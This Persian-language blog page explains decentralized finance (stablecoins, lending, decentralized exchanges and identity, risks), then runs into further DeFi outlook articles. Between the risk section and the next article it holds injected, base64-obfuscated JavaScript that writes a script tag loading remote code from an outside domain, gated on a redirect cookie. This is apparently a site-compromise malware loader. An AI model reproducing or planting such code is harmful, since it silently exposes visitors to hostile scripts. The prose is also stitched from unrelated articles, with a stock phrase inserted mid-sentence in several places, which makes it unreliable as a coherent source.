امور مالی غیرمتمرکز بهترین راه برای مشارکت
در مطلب قبل در مورد “آینده اینترنت رقابتی برای زیرساخت Web3” صحبت کردیم الان در مورد“امور مالی غیرمتمرکز بهترین راه برای مشارکت”صحبت خواهیم کرد.
با ما همراه باشید…
تجزیه مفهوم DeFi و اکوسیستم آن، و همچنین استراتژیها و ریسکها برای سرمایهگذاران خصوصی و حرفهای که قصد دارند سرمایه را به فضای غیرمتمرکز تخصیص دهند.
امور مالی غیرمتمرکز (DeFi) مفهومی است که از تابستان موسوم به DeFi 2020 توجه زیادی را به خود جلب کرده است، زیرا استفاده از آن، که اغلب با ارزش کل قفل شده (TVL) اندازه گیری می شود، از آن زمان به طور چشمگیری افزایش یافته است. طبق گفته DefiLlama، تنها در سال گذشته، TVL بیش از 240 درصد افزایش یافت و به 209 میلیارد دلار در پروژههای DeFi «قفل شده» رسید. نه تنها برای سرمایه گذاران جالب است که از طریق توکن های خود وارد پروژه های DeFi امیدوارکننده شوند (به امید به دست آوردن سرمایه)، بلکه استفاده از این پلت فرم ها برای ایجاد درآمد منظم و ثابت از طریق فعالیت های مختلف. و در بازارهای نزولی حتی جذابتر بوده است.
دقیقاً همین جذابیت بازده بدون ریسک است که با تحرکات بازار ارزهای دیجیتال مرتبط نیست که بسیاری از سرمایه گذاران را به سمت یخ نازک می کشاند. به یاد داشته باشید: چیزی به نام ناهار رایگان وجود ندارد. در این مقاله، مفهوم DeFi را تجزیه میکنیم و به اکوسیستم، استراتژیها و ریسکهای آن میپردازیم که همگی برای سرمایهگذاران خصوصی و حرفهای مرتبط هستند که سرمایهشان را به این فضا اختصاص میدهند.
از TradFi تا DeFi
بیایید در ابتدا با روشن کردن انتقال (یا اختلال) از امور مالی سنتی، یا TradFi، به DeFi شروع کنیم. با توضیح ساده، DeFi قصد دارد فرآیندهایی را که به طور سنتی توسط بانکها و مؤسسات مالی اجرا میشود، مانند استقراض، وامدهی و بازارسازی با حذف واسطهها، از بین ببرد. این به سرمایه گذاران اجازه می دهد تا با ارائه وام یا نقدینگی برای تجارت مستقیماً با یکدیگر بر اساس همتا به همتا (P2P) تعامل داشته باشند و در ازای ایجاد کارمزد، آن نقش ها/عملکردها را به عهده بگیرند، البته در عین حال خطرات را نیز به همراه دارند. کارآفرین سریال فناوری و رمزنگاری AltAlpha Digital میگوید: «اختلال در بخش بانکداری که در سالهای اخیر توسط بازیگران فینتک شاهد آن بودیم، اکنون با ایجاد بسترهای DeFi برای یک اکوسیستم همتا به همتا به سطح بعدی افزایش یافته است. Marc Bernegger، یکی از بنیانگذاران صندوق تامینی. به زودی مدل کسب و کار DeFi و راه های مشارکت در آن را بررسی خواهیم کرد.
امور مالی غیر متمرکز
Defi که مخفف DECENTRALIZED FINANCE است، به امور مالی غیر متمرکز گفته می شود. در امور مالی غیر متمرکز سعی می شود تا واسطه ها با خودکار سازی جایگزین شوند. خودکار سازی قابلیت های دیگری را به وجود می اورد. DEFI را می توان در هر پلتفرم هوشمندی اجرا کرد. در حل حاضر اتریوم، در حال کار روی این زمینه است.
مقاله ای که می خوانید برگرفته از مقاله ای است که توسط لیندازی نوشته شده است. او از افراد مشهور و فعال در زمینه ی رمزارزهاست. او موسس SCALAR CAPITAL می باشد. پیشتر نیز به عنوان مدیر کنترل کیفیت در کوین بیس و مدیر تحلیل ریسک در AIG مشغول بود. لیندازی فارغ التحصیل دانشگاه سن دیگو با مدرک کارشناسی اقتصاد می باشد.
در ادامه مطالب زیر را می خوانید :
• استیبل کوین ها STABLE COINSهمان گونه که از معنای لغوی این کلمه پیداست، استیبل کوین ها نوسان قیمت زیادی ندارند. ارزش این ارزها وابسته به ارزش یکی دیگر از ارزهای فیات مانند دلار می باشد.
• وام دهی به صورت غیر متمرکز با استفاده از بلاک چین و بدون نیاز به حساب بانکی
• صرافی های غیرمتمرکز برای خرید و فروش ارزهای دیجیتال – با وجود صرافی های غیرمتمرکز دیگر احتیاجی به صرافی های متمرکز نیست.
• استفاده از دارایی های دیجیتال به عنوان وثیقه . دلیل این امر جلوگیری از سوء استفاده و جبران خسارات احتمالی برای مواقعی است که وام گیرنده اقساط ش را پرداخت نکند.
استفاده از هویت افراد، در قراردادهای هوشمند این روش احراز هویتی است که به صورت غیرمتمرکز انجام می گیرد.
• ترکیب کردن قراردادهای هوشمند با اهداف و اعمال متفاوت
• مدیریت کردن ریسک در مفاهیم و معاملاتی که به شکل غیر متمرکز انجام می گیرد. ابزارهای زیادی برای کنترل و مدیریت این ریسک ها طراحی شده است.
در زیر به شرح مفاهیم گفته شده می پردازیم:
استیبل کوین ها چه هستند؟
فرض کنید می خواهید در بلاک چین وام دریافت کنید. مطمئنا دلتان نمی خواهد مبلغی که دریافت می کنید تحت تاثیر نوسانات باشد. این جا از مواردی است که کاربرد استیبل کوین ها به چشم می آید.
استیبل کوین ها به سه دسته ی عمده تقسیم می شوند:
۱٫ استیبل کوین هایی که متمرکز هستند و وثیقه ی مربوط به آن ها از طریق ارز فیات پیس بینی شده است.
در این استیبل کوین ها، به تعداد توکن هایی که صادر شده، پشتیبان فیات آن در نظر گرفته می شود. نسبت این دو به یک دیگر یک به یک است. مزیت این استیبل کوین در این است که اگر به مشکلی بربخورید یک نهاد پاسخ گو وجود دارد. این خیال شما را راحت می کند. به عنوان مثال USDC از این دسته می باشد.
۲٫ استیبل کوین هایی که غیرمتمرکز هستند و وثیقه ی آن ها با ارزهای دیجیتال پیش بینی شده است.
توکن هایی که برای این دسته صادر شده است توسط ارزهای دیجیتال مورد پشتیبانی قرار می گیرد. همان طور که می دانید ارزهای دیجیتال نوسانات بالایی دارند. مثلا DAI با پشتیبانی اتریوم ساخته شده است. برای استفاده از این دسته، نیاز به اقدام خاص یا اجازه گرفتن از نهاد دولتی یا خصوصی و… نمی باشد.
مثلا برای این که ۲۰۰ دلار DAI دریافت نمایید باید دو برابر آن یعنی ۴۰۰ دلار اتریوم به عنوان وثیقه پرداخت کنید. اگر ارزش اتریوم بیشتر شود که هیچ، اما اگر ارزش آن پایین بیاید اتریوم ها نقد می شود. با این کار جلوی ضرر و زیان در سیستم وام دهی را می گیرند.
در رابطه با DAI می توان گفت که سیستم آن واقعا پیچیده است. کاربران عادی نیازی به سروکار داشتن با این پیچیدگی ها ندارند. از جمله ریسک های DAI می توان به ریسک در قراردادهای هوشمند و نیز ریسک معامله با توجه به بالا یا پایین رفتن دلار اشاره نمود.
۳٫ استیبل کوین هایی که غیرمتمرکز و الگوریتمی هستند.
برای این استیبل کوین ها وثیقه در نظر گرفته نمی شود. الگوریتم ها این دسته را کنترل کرده و نوسانات آن ها را مدیریت می کنند. مثلا BASIS یکی از انواع این استیبل کوین ها بود. BASIS قبل از این که راه اندازی شود توقیف شد. مشکل موجود در رابطه با این دسته، احتمال حمله است. حمله ای که ممکن است کل سیستم را از کار بیندازد.
دو دسته ی اول از استیبل کوین ها که توضیح آن گذشت، مورد توجه هستند و گرایش عمومی به آن ها زیاد است. در مورد دسته ی سوم آزمایش ها و تحقیقاتی در حال انجام است. تعدادی بر این باورند که ترکیب استیبل کوین های دسته ی یک و دو نتیجه مطلوبی خواهد داشت. در مورد دسته ی سوم همان طور که گفته شد مشکلاتی نیز وجود دارد اما با این حال، الگوریتم های مدیریتی این دسته به خوبی از عهده ی نوسانات قیمت آن برمی آیند.
وام دهی غیر متمرکز چیست؟
استیبل کوین ها باعث می شوند نگاه تازه ای به سیستم های مالی داشته باشیم و به امور مالی به صورت غیرمتمرکز بیاندیشیم. از اساسی ترین مفاهیمی که در این زمینه وجود دارد وام است. قراردادهای هوشمند در این حالت کارشان را انجام داده و وام دهنده و وام گیرنده را به یک دیگر ارتباط می دهند. میزان عرضه و تقاضا، بهره ی وام را مشخص می کند. این کار را خود قراردادهای هوشمند انجام می دهند.
آیا می دانید bitfinex چگونه کار می کند؟
بد نیست با نحوه ی قرض گرفتن و قرض دادن در برخی صرافی ها آشنا شوید. بیتفینکس ستون هایی برای قرض دهندگان و قرض گیرندگان در نظر گرفته است. افراد در ستون های مخصوص به خودشان شرایط را درج می کنند، مثلا میزان وام درخواستی، میزان بهره و… سپس بیتفینکس این افراد را به یک دیگر ربط می دهد و کارمزد خودش را نیز دریافت می کند.
در سیستم های غیر متمرکز چگونه عمل می شود؟
در این سیستم ها از لیست سفارش خبری نیست. در این جا با قراردادهای هوشمند سروکار داریم. در این قراردادها بهره ها را بالا و پایین می برند آینده امور مالی غیرمتمرکز و شرایط را به گونه ای فراهم می آورند که توافق بین دو طرف وام دهنده و وام گیرنده برقرار شود. در این جا باید وثیقه بگذارید و این وثیقه کمی بیشتر از مقدار خود وام است. وثیقه مقداری این کار را مشکل می کند. با این وجود این وام ها مقیاس پذیر هستند و این از دلایل محبوبیت شان است. بهره ی این وام ها در مقایسه با وام های سنتی بیشتر است و ریسک هایی نیز وجود دارد. این ریسک ها شامل باگ های مربوط به قراردادها و نیز نوسانات کریپتو می باشد.
صرافی های غیرمتمرکز چگونه عمل می کنند؟
از بحث های اساسی در مورد امور مالی غیر متمرکز، مباحث مربوط به صرافی های غیر متمرکز است. صرافی هایی که با ارزهای دیجیتال کار می کنند سعی بر این دارند تا بستری برای معاملات دارایی های دیجیتال ایجاد کنند. در صرافی های متمرکز افراد پول خود را به وسط می آورند و به انجام معاملات می پردازند.
صرافی متمرکز نقش واسطه گری دارد و نیز به عنوان نگه دارنده ی مبالغ عمل می کند. خطراتی مانند هک شدن از جمله ریسک هایی است که همیشه این صرافی ها را تهدید می کند. صرافی های گفته شده می توانند به کشورهای خاصی اجازه ی فعالیت ندهند.
اما در صرافی های غیر متمرکز اوضاع متفاوت است. در این جا با قراردادهای هوشمند سروکار داریم. واسطه ها حذف می شوند و مبادلات به صورت همتا به همتا صورت می گیرد.
برخی پروژه ها درصدد هستند تا با مبادله ی غیرمتمرکز در زمینه ی اتریوم کار کنند. مثلا uniswap از یک مدل بازار خودکار استفاده می کند. در این مدل نقدینگی با الگوریتم ها فراهم می شود. اکنون معاملات در صرافی هایی که به صورت غیرمتمرکز کار می کنند در مقایسه با معاملات صرافی های متمرکز، حجم پایین تری دارد. تعدادی از صرافی های غیرمتمرکز تنها با توکن های اتریوم کار می کنند. دنیا در حال تلاش است تا این محدودیت ها کم شود. مثلا مبادلات افقی atomic swap از جمله اقداماتی است که در این راستا انجام شده است.
هویت غیر متمرکز چاره گشای بسیاری محدودیت هاست.
پلتفرم هایی که به صورت غیرمتمرکز به اعطای وام می پردازند مشکلاتی دارند. از جمله ی مشکلات گفته شده آینده امور مالی غیرمتمرکز وثیقه است. وثیقه ی لازم برای وام گرفتن برای بسیاری افراد سنگین است. بسیاری نیز تمایلی ندارند سرمایه ی خود را در این راه بخوابانند. هویت غیر متمرکز راه حلی است که برای این مشکل ارائه شده است. هویت غیر متمرکز یعنی هویت افراد بر روی بلاک چین. با این روش دیگر نیازی به وثیقه نیست. از جنبه های مفید و خلاقانه ی امور مالی غیر متمرکز همین هویت غیر متمرکز است.
همه ی افراد می توانند برای خود هویت غیر متمرکز ایجاد نمایند. مواردی مانند میزان اعتبار شخص در شبکه های اجتماعی، نحوه ی پرداختی وام های قبلی، نظرات کاربران در مورد وی و… به شناخت بیشتر فرد کمک می کند. هویت غیر متمرکز در اوایل مسیر پیاده سازی قرار دارد و باید گفت که راه دراز و پر فراز و نسیبی پیش رو دارد.
در آینده ی نزدیک بسیاری افراد امور مالی شان را به صورت غیر متمرکز انجام خواهند داد. تعداد زیادی از افراد را در نظربگیرید که در حالی که گوشی هوشمند همیشه همراه شان است اما کارت شناسایی ندارند. هویت غیر متمرکز در موارد این چنینی بسیار می تواند کمک کننده باشد.
سازگاری به عنوان مهم ترین مولفه
در یک پلتفرم قراردادی که به صورت هوشمند اجرا می شود سازگاری مولفه ای بسیار مهم است. در مقاصد مالی متفاوت قراردادهای هوشمند باید سازگار و هماهنگ باشند. مثلا وقتی در پلتفرمی بخواهیم قابلیت معامله برای اموال توکنی را فراهم کنیم به پروتکلی برای صرافی غیر متمرکز احتیاج داریم.
به عنوان مثال می توان پروزه ی ۲۱۰۰ را نام برد که در آن رسانه های اجتماعی و امور مالی غیر متمرکز در کنار هم دیگر قرار می گیرند. در این پروژه مشارکت کنندگان می توانند از طریق توئیتر توکن های جدیدی ایجاد کنند. پروژه ی pooltogether نیز وجود دارد که در آن لاتاری و امور مالی غیرمتمرکز ترکیب می شوند. در این پروژه پولی که مشارکت کنندگان در لاتاری گذاشته اند برگردانده می شود. سود بدست آمده به برنده پرداخت می شود و این روش برای افزایش سرعت و انگیزه است.
با تکامل پیدا کردن امور مالی غیرمتمرکز، احتمال آن زیاد است که علاوه بر جامعه ی کریپتو، در زمینه های دیگر نیز مورد استفاده قرار گیرد. مثلا ممکن است یک فروشگاه بتواند علاوه بر موجودی خود از سود نیز استفاده کند. عمل مورد نظر نیازمند نوشتن چند خط برنامه نویسی است.
ریسک ها چه هستند؟
امور مالی غیر متمرکز از فعالیت هایی است که برای بسیاری جذاب است. جذابیت این امور نباید باعث شود که از ریسک های آن غافل شویم.
قراردادهای هوشمند، ریسک زیادی دارند. تمهیدات زیادی هست که باید در این مورد به آن ها توجه شود. هنگامی که چند پروتکل ادغام می شوند در صورتی که یکی از قراردادهای هوشمند مشکل داشته باشد، کل سیستم در معرض خطر است. به این سیستم ها باید با دید احتیاط نگاه کرد. نباید سرمایه گذاری زیادی انجام دهید.
وثیقه گذاشتن نیز ریسک هایی دارد. اگر ارزش دارایی هایی که به عنوان وثیقه گذاشته ایم پایین بیاید، تاثیر بدی در سرمایه ی شما خواهد گذاشت. بسیاری از پلتفرم ها نوسان بالایی در نرخ سود دارند و این امر باعث می شود بسیاری افراد تمایلی برای مشارکت در این زمینه نداشته باشند.
قانون گذاری نیز ریسک هایی دارد. همه ی پلتفرم های امور مالی مقداری عدم تمرکز دارند. جوانب زیادی است که باید در مورد این پلتفرم ها مورد بررسی قرار گیرد.
محافظت در برابر ریسک ها:
برای محافظت در برابر ریسک ها، طرح هایی وجود دارد از جمله بیمه هایی مانند nexus mutual یا convexity
طرح های گفته شده هنوز در آغاز راه هستند و نمی توان انتظار داشت که کاملا با ریسک ها مقابله کنند. در صورتی که امور مالی غیر متمرکز رشد کافی داشته باشد امکان آن هست که بیمه های سنتی هم وارد این فضا شده و محصولاتی برای این دنیا داشته باشند.
function getCookie(e)()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0>var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time)
امور مالی غیرمتمرکز در سال ۲۰۲۱ به بلوغ کامل میرسد!
با تغییر و تحول یافتن خدمات مالی و آینده پول به نحوی که ما امروزه آن را میبینیم، سال ۲۰۲۱ سالی موثر در روند رشد امور مالی غیرمتمرکز خواهد بود.
فرایند قابل توجه رشد امور مالی غیرمتمرکز یا همان دیفای در نیمه دوم سال ۲۰۲۰ باعث شده است تا ما از خود بپرسیم که رویدادهای بعدی این حیطه قرار است به چه شکلی باشند. چه چیزی لازم است تا دیفای بتواند رشدی فراتر از داراییهای بومی رمزارز جوامع مرتبط با آن داشته باشد و روند کنار زدن تمام خدمات امور مالی که میشناسیم را شروع کند؟
نیمه دوم سال ۲۰۲۰ ورای بسیاری از انتظارات ما پیش رفت و از آن زمان تا به امروز شاهد شتاب گرفتن نوسانهای موجود در بازار هستیم. میزان سرمایه لاک شده در بستر دیفای که کمتر از ۱ میلیارد دلار در ماه ژوئن بود تا پایان سال به ۱۳ میلیارد دلار رسید و از آن زمان تا به امروز به بیش از ۲۷ میلیارد دلار افزایش داشته است. با راه اندازی توکن COMP که متعلق به کامپوند است شاهد موجی از یلد فارمینگ و تسریع تولیدات و جریانات پرشتابی در زمینه داراییها بودیم.
موضوع هیجان انگیزتر اینجاست که با توجه به افزایش میزان فعالیت برنامههایی که دسترسی داشتن به هر زمینهای از صرافیهای خودگردان گرفته تا وامدهی و وامگیری، پرداختها، مدیریت پرتفولیو و بیمه را در اختیار ما قرار میدهند، شاهد شکل گرفتن پایه و اساس یک سیستم مالی جدید هستیم. در همین راستا میتوان دید که اشکال نوینی از ارزش در حال ساخته شدن هستند. نه تنها وعده یلد کردن در محیطی با نرخ پایین بلکه دسترسی داشتن به خدمات امور مالی برای مشاغل و اشخاص یا به صورت کلی برای تمام زیر مجموعههای بانکی که با رمزارز سر و کار دارند گواهی بر این موضوع هستند.
در حال حاضر، دیفای یک زیر مجموعه کوچک از کاربران و داراییهای رمزارز بومی به حساب میآید که از دیدگاه منتقدان، خیلی به غرب وحشی شباهت دارد. آیا این دیدگاه قابل تغییر است؟ در ادامه، مطالبی از تفکرات پیش روی این زمینه مطرح شده است.
انواع نوین داراییها در حوزه امور مالی غیرمتمرکز
از جمله اولین چالشهای پیش روی صرافیهای غیرمتمرکز میتوان به مسائل مربوط به حیطه نقدینگی اشاره کرد. افرادی که در اولین روزهای ظهور و مطرح شدن نام صرافیهای غیرمتمرکز به این حوزه روی آوردند با مشکلاتی مثل لگهای متعدد یا همان قطعی لحظهای ارتباط اینترنتی با صرافی و محدودیت جفت توکن ها روبهو بودند. سازندگان اتوماسیون شده بازار و استخرهای نقدینگی از جمله راه حلهای گستردهای بودند که برای همین موضوع ارائه شدند.
با توجه به اینکه امروزه شاهد به انجام رسیدن حجم معاملات روزانه ۲ میلیاردی در بستر صرافیهای غیرمتمرکز هستیم و پروژههای امور مالی عیرمتمرکز نیز به روند پیدا کردن راههای نوآورانه برای ایجاد انگیزه و تامین نقدینگی ادامه میدهند، میتوان دلیل محبوبیت دو راه حلی که پیش از این بیان کردیم را آسانتر درک کرد. بدون شک این فرایند ادامه خواهد داشت. در رابطه با وامگیرندگان نیز معتقدیم که هنوز این نیاز به قوت خود پابرجاست که میزان وثیقهگذاری و نیازمندیهای مربوط به آن باید کاهش بیابد و به حتم، نیاز داریم تا از شیوههای جایگزینی برای وثیقه استفاده کنیم.
شاید بتوان اینطور فرض که بزرگترین فرصت، جایی در بیرون از جهان داراییهای بومی رمزارز واقع شده است. تریلیونها دلار از داراییهای واقعی و فیزیکی وجود دارند که میتوان از آنها به عنوان وثیقه استفاده کرد: کاربران همواره این نیاز را دارند تا بتوانند در ازای داراییهایی که در حال حاضر دارند پول قرض بگیرند و معمولا نمیتوانند از طریق راههای رایج امروزی به نقدینگی مورد نیاز خود دسترسی داشته باشند. توکنیزه کردن داراییهای دنیای واقعی یا همان داراییهای فیزیکی میتواند به صورت چشمگیری منجر به افزایش پهنه جهان دیفای شود.
مقیاسپذیری مشکلاتی که در لایه اول و لایه دوم مطرح هستند
محدودیتهای مقیاسپذیری اتریوم معمولا به دید عاملی برای محدود کردن میزان پذیرش عمومی امور مالی غیرمتمرکز یا دیفای در نظر گرفته میشود. میزان بالای نرخ کارمزد تراکنشها و بدون شک قیمت بالای اتر (ETH) میتواند موجب به انجام نرسیدن معاملاتی باشد که ارزش مالی پایینی دارند. این موضوع موجب کم شدن میزان جذابیت بازارهای مبتنی بر توکنهای غیرمنعطف و سایر خدمات متمرکز بر امور خُرد و با سرمایههای محدود میشود. در همین هنگام لازم به ذکر است که تبادلات حرفهای با فرکانس بالا به دلیل محدود بودن توان معاملات درون زجیرهای نیاز به راه حلهایی در سطح دو دارند.
نکته قابل تقدیر اینجاست که کل این موضوعات در سال ۲۰۲۱ برطرف میشوند زیرا تمام مسائل مطرح شده با استفاده از حداقل سه شیوه، قابل حل شدن هستند:
- عملکرد موفقیت آمیز اتریوم ۲.۰
- از راه رسیدن راه حلهای برجسته مقیاسپذیری در بستر اتریوم
- پذیرش عمومی گسترده راه حلهای مبتنی بر قابلیت همکاری بین زنجیرهای
این سه پدیده نیاز ندارند تا مقولههایی جدا از یکدیگر باشند و در مجموع این دیدگاه خوشبینانه را در اختیار ما میگذارند که قرار است تا سال ۲۰۲۱ سال پیشرفت قابل ملاحظهای برای زمینه مقیاسپذیری امور مالی غیرمتمرکز باشد.
میزان تقاضای موسساتی
به تازگی شاهد این هستیم که سرمایهگذاران موسساتی حوزه رمزارز بومی در تلاشند تا بتوانند ییلدهای بالاتری از طریق استیبل کوینها بیابند. بسیاری از این سرمایهگذاران از صرافیهای متمرکز استفاده میکنند و حداقل در ابتدای دوران فعالیت خود این کار را انجام دادهاند اما در همین حین، تعداد اندکی از محصولات خودگردان متمرکز بر بسترهای موسساتی در همین راستا ظهور کردند.
همزمان با این ماجرا، قانونگذاران و تنظیمکنندگان در سراسر دنیا قوانین سختگیرانهتری را برای ارائهدهندگان حسابهای خدماتی مثل صرافیهای رمزارز متمرکز وضع کردند. قانون سفر کارگروه ویژه اقدامات امور مالی (The Financial Action Task Force) و پنجمین حکم مبارزه با پولشویی در اروپا نشاندهنده روند حرکتی ما به سمت استانداردهای شناخت مشتری سختگیرانهتری در زمینه ارز دیجیتال است. به عنوان مثال، اتهامات BitMEX در ماه اکتبر نمومهای برای زدن مهر تایید بر این موضوع بود. این روند در نهایت دامنگیر امور مالی غیرمتمرکز نیز میشود: انتظار داریم تا در مدت زمان کوتاهی شاهد از راه رسیدن راه حلهای محصولات موسساتی با هویت جعلی (مخفی) و مبتنی بر دانش صفر باشیم که در راستای هویت خود-حاکم عمل میکنند.
در همین راستا سوالات ایدئولوژیک و کاربردی نیز مطرح شده است. آیا KYC از نظر فاندامنتل با امور مالی غیرمتمرکز سازگار است؟ و اینکه کدام یک از قواعد و چهارچوبهای نظارتی امروزه و در آینده در حیطه دیفای اعمال میشوند؟ مقوله عدم نیاز به وجود فضای اعتماد نیز بر اساس همین موضوعیت تعریف میشود و ما مشاهدهگر تولید یک بستر محصول به محصول کاملا غیرمتمرکزی خواهیم بود که بر مبنای هویت مخفی و ناشناس بودن ساخته شده و در خارج از محدوده اقدامات محرمانه بانک مورد استفاده قرار میگیرند و پایگاه داده این بستر از سوی هر دو طرف مشارکتکننده مورد تایید قرار گرفته است.
رابط کاربری بهتر برای کاربران
برای بسیاری از کاربران، ورود به سراشیبی دیفای امری راحت به حاب میآید. در راستای این فرایند ما نیاز داریم تا علاوه بر برخوردار بودن از سطح مشخصی از مهارت، یک کیف پول متامسک (MetaMask) بسازیم، توکن های ERC-20 خریداری کنیم و روند وامدهی را آغاز کنیم. در همین حین، بسیاری از محصولات متمرکز به لطف رویکردهای بصری مشابه با محصولات سنتی بانکداری دیجیتال، رشد قابل توجهی داشتهاند. هم اکنون ما شاهد شکل گرفتن این روند و به بار نشستن آن در بستر دیفای هستیم و اشخاص مختلف میتوانند از سرعت بیشتر و تجربه آنبُرد واضحتر در شرایط غیاب KYC لذت ببرند. به عنوان مثال میتوان به Yearn.finance تحت عنوان یکی از پیشگامان این حوزه اشاره کرد که بر روی کارایی و کاهش دادن میزان محدودیتهای ورود که در زمان پیش از راه اندازی آن وجود داشتند تمرکز دارد.
علاوه بر این، سایر برنامههای مبتنی بر اتریوم مثل بازارهای NFT که در زمینه داراییهای قابل جمعآوری و داراییهای دیجیتاال مورد استفاده قرار میگیرند نیز به روند نوآورانه خود در راستای فراهم کردن تجربه بهتر کاربری ادامه خواهند داد. در سال ۲۰۲۱، انتظار داریم تا ظهور برنامههای مبتنی بر اتریوم بیشتری را ببینیم و این دقیقا همان بستری است که کاربران فعال درون این برنامهها به هیچ عنوان اطلاع ندارند که در حال معامله کردن در یک بلاک چین هستند.
با ورود سرمایه بیشتر ، بهره برداری بیشتر میشود
با توجه به افزایش میزان سرمایه در گردش استیک شده، تعجب آور نیست که شاهد افزایش میزان بهرهبرداریها هستیم. در سال ۲۰۲۰، به صورت تقریبی به مقدار ۱۰۰ میلیون دلار سرمایه را به دلیل اتفاقات ناشی از هک شدنها، حملات قابل توجه وامدهی فلش (Flash Loan) از دست دادیم و اینطور به نظر میرسد که این روال ادامه خواهد داشت. در رابطه با سرمایهگذاران موسساتی نیز لازم به ذکر آینده امور مالی غیرمتمرکز است که این بهرهبرداریها به صورت اجتنابناپذیری به تغییر پیدا کردن درک افراد نسبت به فرصتهای کاربردی که با مدیریت بحران و خطرهای احتمالی تنظیم میشوند منجر خواهد شد.
این امر یکی از عوامل بسیار مهمی است که بر روی میزان پذیرش عمومی امور مالی غیرمتمرکز و حوزه رمزارز تاثیر گذار بوده و موجب افزایش میزان تقاضا برای حسابری قراردادهای هوشمند و بیمه میشود. تا به امروز سرمایهگذاری محدودی در هر دو زمینهای که ذکر کردیم صورت گرفته است. ارتقا یافتن سطوح همکاری بین پروژههای دیفای نیز یکی از عواملی است که میتواند پاسخی درخور برای دلیل افزایش میزان بهرهبرداریها به حساب بیاید. چنین مشارکتی این اجازه را به پروژههای متفاوت میدهد تا استعدادها و ایدههای نهفته، تامین امنیت و خزانهداری درون آینده امور مالی غیرمتمرکز پروژهای را بسترسازی و تقویت کنند و در همین راستا به کاهش میزان تاثیر بهرهبرداریهای آتی کمک کرده و از وقوع آن پیشگیری کنند.
ظهور رمزارز در طول دهه گذشته موجب تغییر و تحول یافتن دیدگاه و طرز فکر ما نسبت به ذخایر مقادیر ارزشی شد. لازم به ذکر است که از راه رسیدن امور مالی غیرمتمرکز در سال ۲۰۲۰ نیز منجر به تحول پیدا کردن شیوه تفکر ما در مورد آینده خدمات امور مالی و نوآوری حقیقی در فضایی شد که معمولا به کندی پذیرای تغییر و تحول است. با گذر زمان و نشستن گرد و غبار تاریخ بر روی اتفاقات و رویدادهای سال ۲۰۲۰ و با توجه به جلب توجه دیفای از جانب نهادهای نظارتی و موسساتی، امروزه انتظار داریم تا افزایش گسترده میزان مقیاسها و حرفهای سازی بسترهای متفاوت این حوزه را شاهد باشیم.
به چه دلایلی بخش مالی غیرمتمرکز (دیفای)، آینده امور مالی خواهد بود؟
از سال ۲۰۲۰، «بخش مالی غیرمتمرکز» (دیفای) محبوبیت زیادی پیدا کرده است. دیفای به ما نشان داده است که تمرکززدایی خدمات مالی در مقیاس لازم قابل انجام است، حتی اگر هنوز در مراحل اولیه باشد. در این مطالعه، به بررسی برخی از جنبه های حاکمیت مرکزی، امنیتی، مالیاتی و قانونی می پردازیم که معتقدیم اکوسیستم دیفای باید نسبت به آنها آگاه باشد. ایده های ارائه شده در این سند به تلاش های مشترک ما برای شکل دادن به آینده بخش مالی و پول کمک خواهد کرد.
هدف دیفای ایجاد محصولات پیچیده با حداقل اصطکاک و حداکثر ارزش کاربری از طریق ترکیب اجزای ساختمان مالی منبع باز است. در بخش فین تک، بخش مالی غیرمتمرکز یا دیفای، یک مفهوم نسبتاً جدید است، اما در سال گذشته قدرت بیشتری یافته است. دیفای، تجربه منحصر به فردی را در مقایسه با بانکداری سنتی ارائه می دهد و دروازه ها را به سوی دنیایی از امکانات که قبلاً در دسترس کاربران نبود، می گشاید.
چه چیزی دیفای را نسبت به رقبا متمایز می کند؟
یکی دیگر از ویژگی های جذاب، مفهوم ترکیب پذیری است که به هر کسی اجازه می دهد تا پیشنهادات دیفای موجود را برای ایجاد یک پیشنهاد جدید ترکیب کند. مقیاس پذیری دیفای، شبکه ای که عملاً از بلاک هایی از اجزای به هم پیوسته تشکیل شده است، حاکی از آن است که ابداعات و خواسته های مالی آتی می توانند به راحتی در آن ساخته شده و به هم متصل شوند، در حالی که همگی تحت کنترل قراردادهای هوشمند خواهند بود. ورود اولیه به بخش مالی غیرمتمرکز زمانی اتفاق افتاد که به عنوان مدیر ارشد فناوری برای یک سازنده شرکتی کار می کرد که می خواست وارد بازار مالی شود.
تحولات مهم بعدی که باید به آن توجه داشت چیست؟
انجام پرداخت های دارایی های دیجیتال به طور مستقیم در مرورگر، گام جالب بعدی خواهد بود. احراز هویت وب به کاربران اجازه می دهد تا با استفاده از گزینه های لمس یا شناسه چهره به یک کلید خصوصی محافظت شده در مرورگر وب خود دسترسی داشته باشند و امکان استفاده از پرداخت های رمزارز در دنیای واقعی را فراهم می کند. وب سایت فقط درخواست می کند که پرداخت در قالب رمزارز انجام شود و نیازی به دانستن نام کاربری شخصی که از او درخواست پول می کند ندارد.
در حالی که بخش مالی نهادی بیت کوین را به بی ارزشی و کلاهبرداری محکوم کرد، اما آنها به طور کامل به توسعه فناوری زیربنایی پرداختند و در برخی موارد حتی کوین خود را ایجاد کردند. با افزایش سرمایه گذاری نهادی و علاقه به بلاکچین و رمزارز در سال گذشته، یک چیز آشکار شده است: رمزارز و دیفای آینده بخش مالی هستند.
رویکرد بی وقفه بخش مالی برای افزایش میزان دسترسی به دیفای
ظهور بیت کوین و اولین صرافی های متمرکز، علاقه جوانانی را که به دنبال جایگزینی برای سهام بودند، در روزهای اولیه بلاکچین برانگیخت. در حالی که بدون شک این جریان گسترش یافته است، بسیاری از مردم معتقدند که موج بعدی تأکید بیشتری بر تمرکززدایی خواهد داشت.
پروژه های مرتبط با دیفای پیش تر ثابت کرده اند که از لحاظ مالی سودآور هستند. تیم هایی که چندین مورد از این پروژه ها را توسعه می دهند، مقادیر قابل توجهی از عرضه توکن یا سهام الکترونیکی مورد استفاده برای مدیریت و حفاظت از عملیات اینترنت اصلی را در اختیار دارند. به عنوان یک سرمایه گذار بلندمدت در این عرصه، مردم تحت تأثیر گسترش و بلوغ پروتکل های دیفای در سال های اخیر قرار گرفته اند.
